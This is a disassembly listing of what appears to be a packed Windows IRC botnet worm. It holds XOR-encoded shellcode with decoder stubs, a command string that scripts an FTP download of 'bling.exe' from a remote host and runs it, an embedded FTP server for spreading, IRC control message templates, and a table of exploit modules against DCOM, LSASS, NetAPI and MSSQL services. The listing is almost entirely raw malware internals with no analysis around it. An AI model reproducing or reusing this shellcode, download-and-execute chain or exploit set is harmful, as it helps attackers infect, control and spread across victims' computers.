; DATA XREF: UPX0:004050E3o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_428E74: ; DATA XREF: UPX0:0040531Ao add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_428E92: ; CODE XREF: UPX0:00428EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_428EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_428E92 inc edx add [eax-52h], esi inc edx loc_428EE9: ; CODE XREF: UPX0:00428ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_428EFC: ; CODE XREF: UPX0:00428F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_428EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_428F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:_data sbb esi, [ecx+79h] jns short near ptr loc_428F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_428F4D: ; CODE XREF: UPX0:00428F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_428F59: ; CODE XREF: UPX0:00428F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_428F67+2 cmc lodsb loc_428F67: ; CODE XREF: UPX0:00428F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_429040 dw 7A69h ; DATA XREF: sub_405145+30r word_429042 dw 0 ; DATA XREF: UPX0:00427641o ; char aEchoOpenSDOE_0[] aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405145+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_4290B0 db 2 ; DATA XREF: UPX0:00405368o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D6+5CDo ; char aQuit[] aQuit db 'QUIT',0 ; DATA XREF: sub_4053D6+5B9o ; sub_40EE51+534o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D6+5ACo align 4 ; char unk_429128 unk_429128 db 2 ; DATA XREF: sub_4053D6+561o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 74h, 70h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortDNowExecu db ' %s, port:%d now executing %s on remote machine.',0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D6+542o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D6+516o align 4 ; char aRetr[] aRetr db 'RETR',0 ; DATA XREF: sub_4053D6+4FEo align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D6+4E9o align 10h ; char aS_S_S_S[] aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D6+4D8o ; char aXX[] aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D6+4A5o align 4 ; char aS[] aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D6+464o db ']',0 ; char aPort[] aPort db 'PORT',0 ; DATA XREF: sub_4053D6+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D6+3FDo align 4 ; char aList[] aList db 'LIST',0 ; DATA XREF: sub_4053D6+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D6+3AFo align 10h ; char aPasv[] aPasv db 'PASV',0 ; DATA XREF: sub_4053D6+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D6+38Co ; char aI[] aI: ; DATA XREF: sub_4053D6+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D6+351o ; char aA[] aA: ; DATA XREF: sub_4053D6+33Do unicode 0, <A>,0 ; char aType[] aType db 'TYPE',0 ; DATA XREF: sub_4053D6+326o ; sub_4053D6+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D6+316o align 10h ; char off_4292D0[] off_4292D0 dd offset dword_445750 ; DATA XREF: sub_4053D6+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D6+2F2o align 4 ; char aRest[] aRest db 'REST',0 ; DATA XREF: sub_4053D6+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D6+2CEo align 10h ; char aSyst[] aSyst db 'SYST',0 ; DATA XREF: sub_4053D6+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D6+2AAo align 10h ; char aPass[] aPass db 'PASS',0 ; DATA XREF: sub_4053D6+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D6+286o align 10h ; char aUser_0[] aUser_0 db 'USER',0 ; DATA XREF: sub_4053D6+271o ; UPX0:0042E820o align 4 ; char aSS[] aSS db '%s %s',0 ; DATA XREF: sub_4053D6+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D6+1D8o align 4 ; char aRb[] aRb db 'rb',0 ; DATA XREF: sub_405A56+24o ; sub_406C0B+12Eo ... align 4 ; char unk_42936C unk_42936C db 2 ; DATA XREF: sub_405AF0+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h ; char asc_4293B0[] asc_4293B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF0+2CFo align 4 ; char asc_4293B4[] asc_4293B4 db ' ',0 ; DATA XREF: sub_405AF0+293o ; sub_40EE51+A8o ... align 4 ; char aGet[] aGet db 'GET ',0 ; DATA XREF: sub_405AF0+269o align 10h ; char aHttp1_0200Ok_0[] aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4B+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h ; char aHttp1_0200OkSe[] aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4B+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4B+97o ; sub_40B8D3+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4B+83o align 4 ; char aApplicationOct[] aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4B:loc_405FB0o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4B+5Eo align 4 ; char unk_4295D4 unk_4295D4 db 2 ; DATA XREF: sub_4060CD+28Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 ; char unk_42961C unk_42961C db 2 ; DATA XREF: sub_4060CD+20Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 ; char asc_42965C[] asc_42965C db '*',0 ; DATA XREF: sub_4060CD+157o align 10h ; char asc_429660[] asc_429660 db 0Ah,0 ; DATA XREF: sub_4060CD+FBo ; sub_40637D+29o ... align 4 ; char aSS_2[] aSS_2 db '%s%s',0 ; DATA XREF: sub_4060CD+EAo ; sub_40637D+4CAo ... align 4 ; char aS_1[] aS_1 db '%s',0 ; DATA XREF: sub_4060CD+3Ao ; sub_40B38B+4Co ... align 10h aS_9 db '\%s',0 ; DATA XREF: sub_4060CD+2Fo ; char aFoundIFilesAnd[] aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40637D+64Eo align 4 ; char aTrTdColspan3_0[] aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 ; char aPrivmsgSFoundS[] aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40637D+618o align 4 ; char a31s21sIBytes[] a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40637D+589o align 10h ; char aTdTdWidthDCo_0[] aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40637D+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 ; char aCodeSCodeA_0[] aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40637D:loc_406895o align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40637D+511o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40637D+471o align 4 ; char a31s21s[] a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40637D+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h ; char aCodeSCodeA[] aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40637D:loc_40673Fo align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40637D+3BBo align 4 ; char aSS_0[] aSS_0 db '%s%s/',0 ; DATA XREF: sub_40637D+374o align 10h ; char aTrTdWidthDAHre[] aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+330o ; sub_40637D+486o db '<TD WIDTH="%d"><A HREF="',0 align 10h ; char aPrivmsgS31s21s[] aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40637D+30Eo align 4 ; char aS_0[] aS_0 db '<%s>',0 ; DATA XREF: sub_40637D+2E4o ; sub_40637D+413o align 4 ; char a2_2d2_2d4d2_2d[] a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40637D+2BAo aAm db 'AM',0 ; DATA XREF: sub_40637D+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_40637D+285o align 4 ; char a__[] a__ db '..',0 ; DATA XREF: sub_40637D+232o align 10h ; char aTrTdColspan3AH[] aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aSearchingForS[] aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+147o ; char aTrTdColspan3Hr[] aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aTrTdWidthDCode[] aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h ; char aH1IndexOfSH1Ta[] aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40637D+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 ; char aHtmlHeadTitleI[] aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40637D+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 ; char aPrivmsgSSearch[] aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+4Bo ; char aSSHttp1_1Refer[] aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AEA+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_429B14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C0B+493o dword_429B20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C0B+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h ; char unk_429B74 unk_429B74 db 2 ; DATA XREF: sub_406C0B+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_429BA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C0B+399o ; char dword_429BBC dword_429BBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C0B+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h ; char unk_429C04 unk_429C04 db 2 ; DATA XREF: sub_406C0B+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 ; char unk_429C38 unk_429C38 db 2 ; DATA XREF: sub_406C0B+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C0B+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407758+164o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: UPX0:00405362o align 4 dd 5 dup(0) dword_429CB0 dd 87h ; DATA XREF: sub_407102+1Er ; sub_40EE51+30CDr ... off_429CB4 dd offset sub_402DCE ; DATA XREF: sub_407758+1E6r dword_429CB8 dd 0 ; DATA XREF: sub_402DCE+2E1w ; sub_402DCE+2E7r ... dword_429CBC dd 1 ; DATA XREF: sub_407243+1Fr dword_429CC0 dd 0 ; DATA XREF: sub_407243:loc_4074B4r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DCEh, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DCEh, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40367Fh, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 40367Fh, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 40367Fh, 0 dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh dd 62h, 5 dup(0) dd 1BDh, 404286h, 0 dd 2 dup(1), 316E7361h, 6E626D73h, 73610074h, 6D73316Eh dd 746E62h, 5 dup(0) dd 8Bh, 404286h, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F43h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F43h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405089h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Fh, 0 ; CODE XREF: sub_429F96:loc_429FABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_429FA6 ; =============== S U B R O U T I N E ======================================= sub_429F96 proc near ; CODE XREF: sub_429F96:loc_429FA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_429F9E: ; CODE XREF: sub_429F96+Cj xor byte ptr [edx+ecx], 99h loop loc_429F9E jmp short loc_429FAB ; --------------------------------------------------------------------------- loc_429FA6: ; CODE XREF: UPX0:00429F94j call sub_429F96 loc_429FAB: ; CODE XREF: sub_429F96+Ej jo short near ptr dword_429F44+2 cwde cdq cdq retn sub_429F96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h ; char aTotalDInS_[] aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407102+81o align 4 ; char aSD[] aSD db ' %s: %d,',0 ; DATA XREF: sub_407102+42o align 4 ; char unk_42A134 unk_42A134 db 2 ; DATA XREF: sub_407102+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 ; char unk_42A168 unk_42A168 db 2 ; DATA XREF: sub_4071CC+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 ; char unk_42A198 